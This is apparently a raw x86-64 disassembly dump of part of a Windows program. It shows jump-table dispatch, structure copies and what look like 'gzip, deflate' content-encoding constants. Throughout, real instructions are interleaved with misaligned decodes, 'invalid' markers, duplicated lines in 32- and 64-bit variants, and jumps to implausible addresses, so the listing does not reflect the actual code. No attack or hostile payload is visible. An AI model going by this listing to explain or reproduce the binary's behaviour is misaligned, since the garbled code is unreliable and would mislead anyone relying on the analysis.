movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
pop rcx
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
pop rcx
xor byte [rdi], cl
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x10], xmm1
adc dword [rcx + 0x10], ecx
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rax, qword [rsp + 0xc0]
add byte [rax], al
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
lea ebp, [rsp + 0x160]
lea ebp, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
mov r14, qword [rsp + 0x2a0]
mov ah, 0x24
movabs al, byte [0x6024a48b4c000002]
add al, byte [rax]
add bh, bh
jmp rax
mov ah, 0x24
movabs al, byte [0x6024a48b4c000002]
add al, byte [rax]
add bh, bh
jmp rax
invalid
mov qword [rsp + 0x288], r9
mov dword [rsp + 0x288], ecx
lea rcx, [rsp + 0x210]
call fcn.14001d8a0
xor bh, bh
dec dword [rax + 3]
test byte [rax + rdi*8], ah
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
xor bh, bh
dec dword [rax + 3]
test byte [rax + rdi*8], ah
add al, 0
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
mov qword [rsi + 0x60], rax
mov dword [rsi + 0x60], eax
mov edx, 1
mov rcx, qword [rsp + 0x398]
mov r8, rbp
call fcn.14002c0f0
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x168]
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
and al, 0xb0
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], dl
and al, 0xc0
add eax, dword [rax]
invalid
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rax, qword [rsi + 0x58]
inc rax
mov qword [rsi + 0x58], rax
mov rcx, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x48]
cmp rdx, rcx
cmp rdx, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
jne 0x14002a686
mov rcx, qword [rsp + 0x4d8]
call fcn.14002c410
mov rax, qword [rsp + 0x88]
mov rcx, qword [rax + 0x30]
mov rdx, qword [rax + 0x48]
mov rax, qword [rax + 0x58]
mov r10, qword [rsp + 0x88]
mov r8, qword [r10 + 0x40]
dec r8
add byte [rbp - 0x75], cl
dec r8
mov r9, r8
add r9, rcx
ror dword [rcx + 1], 0xc9
cmovae r9, r8
mov r8, qword [r10 + 0x38]
cmp byte [rbp - 0x77], cl
inc rdx
enter 0xffffffffffff8b4d, 0x42
cmp byte [rbp - 0x77], cl
cmp byte [rbp - 0x77], cl
inc rdx
inc edx
ret 0x8949
mov qword [r10 + 0x48], rdx
mov dword [rdx + 0x48], edx
lea r10, [r9 + r9*2]
shl r10, 5
shl edx, 5
add eax, 0x1004c74b
add byte [rax], al
add byte [rax], al
invalid
mov qword [r8 + r10], 0
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x160]
adc byte [rsp + 0x160], al
add byte [rdi], cl
movups xmm1, xmmword [rsp + 0x170]
adc byte [rsp + 0x170], cl
and al, 0x70
add dword [rax], eax
add byte [rdi], cl
movups xmm2, xmmword [rsp + 0x180]
adc byte [rsp + 0x180], dl
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x190], bl
and al, 0x90
add dword [rax], eax
invalid
movups xmm3, xmmword [rsp + 0x190]
and al, 0x90
add dword [rax], eax
add byte [rbx + 0xf], al
adc dword [rax + rdx + 8], eax
invalid
movups xmmword [r8 + r10 + 8], xmm0
or byte [rbx + 0xf], al
adc dword [rax + rdx + 0x18], ecx
adc byte [rax], bl
movups xmmword [r8 + r10 + 0x18], xmm1
movups xmmword [rax + rdx + 0x18], xmm1
adc byte [rax], bl
movups xmmword [r8 + r10 + 0x28], xmm2
push rsp
adc byte [rax], ch
invalid
sub byte [rbx + 0xf], al
adc dword [rax + rdx + 0x38], ebx
movups xmmword [r8 + r10 + 0x38], xmm3
movups xmmword [rax + rdx + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x1a0]
adc byte [rsp + 0x1a0], al
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rbx + 0xf], al
adc dword [rax + rdx + 0x48], eax
invalid
invalid
invalid
movups xmmword [r8 + r10 + 0x48], xmm0
adc byte [rax + 0x4c], r9b
mov r11, qword [rsp + 0x288]
mov ebx, dword [rsp + 0x288]
add byte [rdi - 0x77], cl
pop rsp
mov qword [r8 + r10 + 0x58], r11
add rbp, rax
adc byte [rax + 0x48], bl
add ebp, eax
cmp rbp, rdx
cmp ebp, edx
mov r12, qword [rsp + 0x260]
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 + 0x54], cl
mov r10, qword [rsp + 0x50]
mov r10, qword [rsp + 0x50]
push rax
jae 0x14002a750
add r9, rbp
cmp r9, rcx
mov edx, 0
add byte [rax], al
add byte [rax], al
cmovae rdx, rcx
sub r9, rdx
lea rcx, [r9 + r9*2]
ror dword [r9 + 0x29], 1
ror dword [rbx - 0x73], 1
or al, 0x49
shl rcx, 5
shl ecx, 5
neg rax
mov qword [r8 + rcx], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [r8 + rcx + 8], rax
cmp byte [rsp + 0xbc], 0
add byte [rax], al
je case.default.0x14002a7a0
add byte [rax], al
add r14, 0x3e
add esi, 0x3e
invalid
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], 0
add byte [rax], al
mov qword [rsp + 0xc0], 3
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140172f48]
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rsp + 0xc0]
add byte [rax], al
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14, qword [rsp + 0x2a0]
invalid
add al, byte [rax]
add bh, bh
jmp rax
invalid
movabs al, byte [0xc68349e0ff000002]
mov qword ds:[rsp + 0xc8], r14
mov qword [rsp + 0xc8], r14
add r14, 0x3e
invalid
mov qword [rsp + 0xc8], r14
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsp + 0xd0]
lea ecx, [rsp + 0xd0]
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
lea ecx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
invalid
lea ecx, [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
mov qword [rcx + 0x40], rax
movaps xmm0, xmmword [rsp + 0x3a0]
invalid
movaps xmm0, xmmword [rsp + 0x3a0]
add byte [rdi], cl
movaps xmm1, xmmword [rsp + 0x3b0]
sub byte [rsp + 0x3b0], cl
movaps xmm2, xmmword [rsp + 0x3c0]
sub byte [rsp + 0x3c0], dl
and al, 0xc0
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3d0], bl
and al, 0xd0
add eax, dword [rax]
invalid
movaps xmm3, xmmword [rsp + 0x3d0]
and al, 0xd0
add eax, dword [rax]
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
invalid
movups xmmword [rcx + 0x30], xmm3
xor byte [rdi], cl
movups xmmword [rcx + 0x20], xmm2
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
adc dword [rcx], eax
mov qword [rsp + 0xc0], 0
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0xc0]
add byte [rax], al
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
invalid
add eax, ecx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
add byte [rax], al
mov r14, qword [rsp + 0x2a0]
mov r12, qword [rsp + 0x260]
jmp rax
invalid
mov ah, 0x24
movabs al, byte [0x6024a48b4c000002]
invalid
add al, byte [rax]
add bh, bh
invalid
loopne 0x14002a882
mov qword [rsp + 0xc8], r10
mov dword [rsp + 0xc8], edx
enter 0, 0
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
and al, 0xc0
mov qword [rsp + 0xc0], 3
and al, 0xc0
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
test byte [rax + rax*8], ah
rol byte [rax], 0
add byte [rax], al
mov rax, qword [rsp + 0xc0]
mov eax, dword [rsp + 0xc0]
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x1486e4
lea rcx, [0x140172f48]
lea ecx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14, qword [rsp + 0x2a0]
add al, byte [rax]
add bh, bh
invalid
add bh, bh
loopne 0x14002a8be
invalid
mov rsi, qword [rsp + 0xc8]
mov esi, dword [rsp + 0xc8]
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0xd0]
call case.0x14002a151.60
mov r8, rdx
movzx ecx, byte [rsp + 0x110]
mov dh, 0x8c
and al, 0x10
add dword [rax], eax
add byte [rbp - 0x57f07af], cl
cli
mov word [rax + rdx*8], fs
add byte [rax], al
add al, ch
sbb al, 0
add byte [rcx - 0x77], cl
ror byte [rdi], 1
mov dh, 0x8c
and al, 0x10
add dword [rax], eax
add byte [rbp - 0x57f07af], cl
cli
setb dl
test cl, cl
setne r9b
and r9b, dl
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
ror dword [rax - 0x73], 1
and al, 0x58
pop rax
lea ecx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov ecx, esi
and byte [rax - 0x77], cl
int1
mov ecx, esi
mov rdx, rax
call fcn.14002c5f0
add byte [rax], al
jmp 0x14002b300
or al, byte [rax]
add byte [rax + 0x3a], bh
mov eax, 0x3a
mov eax, 0x3a
add byte [rax], al
add cl, ch
invalid
pop rdx
jmp 0x14002a8c9
jmp 0x140029425
invalid
mov eax, 0x36
jmp 0x140029425
mov eax, 0x35
jmp 0x140029425
mov eax, 0x33
jmp 0x140029425
mov eax, 0x3b
jmp 0x140029425
mov eax, 0x21
jmp 0x140029425
invalid
invalid
invalid
mov eax, 0x24
jmp 0x140029425
mov eax, 1
mov ecx, 0x1c
mov qword [rsp + 0xc8], rcx
mov dword [rsp + 0xc8], ecx
mov dword [rsp + 0xc8], ecx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
add byte [rax], al
and al, 0x58
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
adc byte [rsp + 0x118], al
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
adc byte [rsp + 0x118], al
adc byte [rsp + 0x118], al
movups xmm1, xmmword [rsp + 0x128]
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
movups xmm2, xmmword [rsp + 0x138]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
pushfq
and al, 0x48
add dword [rax], eax
add byte [rdi], cl
adc dword [rdx + 0x30], ebx
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
lea rcx, [0x140172f48]
test dword [rax + rax], edx
add cl, byte [rax - 0x77]
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1485dd
test dword [rax + rax], edx
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 1
add byte [rax], al
add byte [rcx + 0x28], bh
add byte [rax], al
mov ecx, 0x28
mov qword [rsp + 0xc8], rcx
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov word [rax + rbx*2], fs
and al, 0x58
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
and al, 0x58
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
and al, 0x18
add dword [rax], eax
add byte [rdi], cl
movups xmm1, xmmword [rsp + 0x128]
adc byte [rsp + 0x128], cl
and al, 0x28
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
and al, 0x38
add dword [rax], eax
invalid
movups xmm2, xmmword [rsp + 0x138]
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], bl
add dword [rax], eax
invalid
movups xmm3, xmmword [rsp + 0x148]
add byte [rdi], cl
movups xmmword [rdx + 0x30], xmm3
adc dword [rdx + 0x30], ebx
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc dword [rdx + 0x10], ecx
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xc0], eax
mov dword [rsp + 0xc0], eax
test byte [rax + rax*8], ah
add byte [rax], al
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x148570
jo 0x14002a95b
adc al, 0
lea rcx, [0x140172f48]
jo 0x14002a95b
test dword [rax + rax], edx
adc al, 0
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
enter 0xffffffffffffe0ff, 0xffffffffffffffb8
add byte es:[rax], al
add cl, ch
invalid
cmp ch, dl
invalid
jmp rax
mov eax, 0x26
jmp 0x140029425
invalid
invalid
mov eax, 0x19
add byte [rax], al
add cl, ch
invalid
xor dl, ch
invalid
jmp 0x140029425
invalid
invalid
mov eax, 0x30
add byte [rax], al
add cl, ch
invalid
invalid
jmp 0x140029425
invalid
mov eax, 0x2b
add byte [rax], al
add cl, ch
invalid
sbb al, 0xea
invalid
add byte [rax], al
jmp 0x140029425
invalid
invalid
mov eax, 1
add byte [rax], al
add byte [rcx + 0x37], bh
mov ecx, 0x37
add byte [rax], al
mov ecx, 0x37
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
mov ecx, dword [rsp + 0x158]
mov word [rax + rcx*8], fs
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
pop rax
mov ecx, dword [rsp + 0x158]
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
lea rdx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
mov qword [rdx + 0x40], rcx
mov dword [rdx + 0x40], ecx
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
add dword [rax], eax
add byte [rdi], cl
movups xmm1, xmmword [rsp + 0x128]
adc byte [rsp + 0x128], cl
sub byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
movups xmm2, xmmword [rsp + 0x138]
adc byte [rsp + 0x138], dl
and al, 0x38
add dword [rax], eax
add byte [rdi], cl
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
and al, 0x48
add dword [rax], eax
add byte [rdi], cl
adc dword [rdx + 0x30], ebx
invalid
movups xmmword [rdx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x20], xmm2
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140172f48]
lea rcx, [0x140172f48]
test byte [rax + rax], dl
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 0x25
jmp 0x140029425
invalid
mov eax, 0x1b
add byte [rax], al
jmp 0x140029425
invalid
mov eax, 1
mov ecx, 0x22
add byte [rax], al
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
invalid
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
invalid
add byte [rdi], cl
adc byte [rsp + 0x128], cl
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rsp + 0x148], bl
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x10], xmm1
adc dword [rdx + 0x10], ecx
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x14845a
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x14845a
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsp + 0x438], 0xd
jne 0x14002b3b4
or eax, 0x8ae850f
add byte [rax], al
movabs rax, 0x6564202c70697a67
mov rdx, qword [rsp + 0x430]
xchg esp, eax
and al, 0x30
add al, 0
invalid
jp 0x14002ab74
jo 0x14002ab39
and byte [rbp + riz*2 + 0x48], ah
mov edx, dword [rsp + 0x430]
xchg esp, eax
and al, 0x30
add al, 0
invalid
mov rdx, qword gs:[rsp + 0x430]
xchg esp, eax
and al, 0x30
add al, 0
add byte [rax + 0x33], cl
add cl, byte [rax - 0x47]
mov ecx, 0x66656420
xor rax, qword [rdx]
movabs rcx, 0x6574616c66656420
mov ecx, 0x66656420
insb byte [rdi], dx
invalid
je 0x14002ab8a
xor rcx, qword gs:[rdx + 5]
mov ecx, 0x66656420
insb byte [rdi], dx
insb byte [rdi], dx
invalid
xor rcx, qword gs:[rdx + 5]
xor ecx, dword [rdx + 5]
or rcx, rax
or ecx, eax
ror dword [rdi], 0x94
sete cl
mov eax, 0x10
adc byte [rax], al
add byte [rax], al
sar dword [rax + 0x10], 0x48
mov dword [rsp + 0x50], eax
push rax
adc byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], rax
push rax
test cl, cl
leave
je 0x140029043
in eax, 0xff
invalid
jmp 0x140029bf6
mov al, 0xf0
invalid
mov eax, 0x2c
jmp 0x140029425
invalid
invalid
invalid
invalid
add cl, ch
invalid
invalid
mov eax, 1
mov ecx, 0x2e
add byte cs:[rax], al
invalid
add byte [rcx + 0x2e], bh
add byte cs:[rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*8], fs
enter 0, 0
mov rcx, qword [rsp + 0x158]
invalid
invalid
mov qword [rsp + 0xc8], rcx
enter 0, 0
add byte [rax], al
mov rcx, qword [rsp + 0x158]
add byte [rax], al
lea rdx, [rsp + 0xd0]
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
and al, 0x38
add dword [rax], eax
invalid
movups xmm2, xmmword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rsp + 0x148], bl
movups xmm3, xmmword [rsp + 0x148]
add byte [rax], al
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
invalid
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x148394
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 0x14
jmp 0x140029425
mov eax, 0x1a
add byte [rax], al
add cl, ch
push rsp
call 0x167bbabd2
invalid
invalid
add byte [rax], al
invalid
jmp 0x140029425
mov eax, 0x27
add cl, ch
call 0x178bbabdc
mov eax, 0x38
jmp 0x140029425
invalid
sldt word [rax]
invalid
jmp 0x140029425
mov eax, 0x38
jmp 0x140029425
mov eax, 0xf
add cl, ch
call 0x141bbabf0
invalid
add dword [rax], eax
invalid
jmp 0x140029425
mov eax, 1
mov ecx, 0x15
add byte [rcx + 0x15], bh
jmp 0x1400293bd
mov eax, 0x16
jmp 0x140029425
invalid
invalid
mov eax, 0x3c
jmp 0x140029425
invalid
invalid
mov eax, 0x1d
jmp 0x140029425
invalid
invalid
mov eax, 0x1e
jmp 0x140029425
mov eax, 0x2d
jmp 0x140029425
mov eax, 0x11
jmp 0x140029425
mov eax, 0x3d
jmp 0x140029425
mov eax, 0x12
jmp 0x140029425
mov eax, 0x34
jmp 0x140029425
mov eax, 0x18
jmp 0x140029425
mov eax, 1
mov ecx, 0x17
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
lea rcx, [0x140172f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 1
mov ecx, 0x20
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
add dword [rax], eax
invalid
add byte [rax], al
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc dword [rdx + 0x10], ecx
adc dword [rdx + 0x10], ecx
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x148215
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov eax, 0x31
jmp 0x140029425
mov eax, 0x1f
jmp 0x140029425
out 0xff, al
invalid
out 0xff, al
invalid
mov eax, 0x39
cmp dword [rax], eax
add byte [rax], al
invalid
add cl, ch
jmp 0x140029425
retf
mov eax, 0x23
jmp 0x140029425
invalid
invalid
invalid
mov eax, 0x2a
jmp 0x140029425
mov eax, 1
mov ecx, 0x29
add byte [rax], al
add byte [rcx + 0x29], bh
mov qword [rsp + 0xc8], rcx
enter 0, 0
add byte [rax], al
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
lea edx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
adc byte [rsp + 0x138], dl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
xchg esp, eax
and al, 0x38
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], bl
and al, 0x48
add dword [rax], eax
invalid
movups xmm3, xmmword [rsp + 0x148]
and al, 0x48
add dword [rax], eax
add byte [rdi], cl
movups xmmword [rdx + 0x30], xmm3
add byte [rax], al
movups xmmword [rdx + 0x30], xmm3
pop rdx
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
add cl, byte [rax - 0x77]
test byte [rax + rax*8], ah
mov qword [rsp + 0xc0], rax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x140172f48]
lea rcx, [0x140172f48]
jbe 0x14002ad51
adc al, 0
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov rax, qword [rsp + 0xc8]
and al, 0xc8
enter 0, 0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
mov byte [rax], al
invalid
mov rcx, qword [rsp + 0x88]
add byte [rax + 0x39], cl
cmp qword [rcx + 0x48], rax
jbe 0x14002ba12
invalid
invalid
or al, 0
invalid
jbe 0x14002ba12
xchg byte [0x18802ae02], bl
mov edx, dword [rsp + 0x88]
add byte [rax], al
mov rdx, qword [rsp + 0x88]
xchg esp, eax
and al, 0x88
add byte [rax], al
add byte [rax], al
add rax, qword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
add byte [rax], al
add rax, qword [rdx + 0x40]
add eax, dword [rdx + 0x40]
mov rcx, qword [rdx + 0x30]
mov rsi, qword [rdx + 0x38]
cmp rax, rcx
cmp eax, ecx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
sub eax, edx
lea rdi, [rax + rax*2]
shl rdi, 5
movzx eax, byte [rsi + rdi + 0x50]
test al, al
je 0x14002ae33
or al, 0xf8
cmp al, 0xf9
jbe 0x14002ba2a
invalid
or eax, dword [rax]
invalid
test dword [rbx], 0x8b480000
and al, 0x60
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x14002ae5b
mov edx, 1
lea rcx, [rsp + 0x58]
pop rax
pop rax
call fcn.1400126a0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x40
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002aeb1
add byte [rax], al
add byte [rax], al
add rsi, rdi
add rsi, 0x10
mov qword [rsp + 0x60], rax
invalid
movzx eax, byte [rsi + 0x40]
lea ecx, [rax - 2]
dec al
cmp cl, 6
movzx eax, al
invalid
mov ecx, 0
invalid
sar byte [rcx], 0xf
add byte [rdi], cl
cmovae eax, ecx
mov edx, 7
movzx eax, al
sar dword [r10 + 7], 0xf
mov dh, 0xc0
lea rcx, [0x140172f78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp qword [rsi], 0
cmp dword [rsi], 0
je 0x14002b2c3
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
jmp 0x14002b2cf
mov rbp, r12
movzx eax, byte [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rbp - 0x370101b8], cl
invalid
and al, 8
add dword [rax], eax
add byte [rbp - 0x370101b8], cl
invalid
enter 0xfffffffffffff980, 6
cmp cl, 6
movzx eax, al
mov ecx, 0
cmovae eax, ecx
mov esi, 7
add byte [rdi], cl
mov dh, 0xc0
add byte [rdi], cl
mov dh, 0xc0
lea rcx, [0x140172f5c]
lea ecx, [0x140172f5c]
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r12, r13
mov rdi, rbx
fisttp word [rax - 0x7d]
mov esp, 0xc824
add byte [rax], al
fisttp word [rax - 0x7d]
mov esp, 0xc824
add byte [rax], al
je 0x14002b1cc
mov bh, 2
add byte [rax], al
mov r13, r14
mov rbx, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
jmp 0x14002b1e2
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
cmp qword [rcx + 0x48], rax
jbe 0x14002ba42
mov rbp, r14
mov r14, rbx
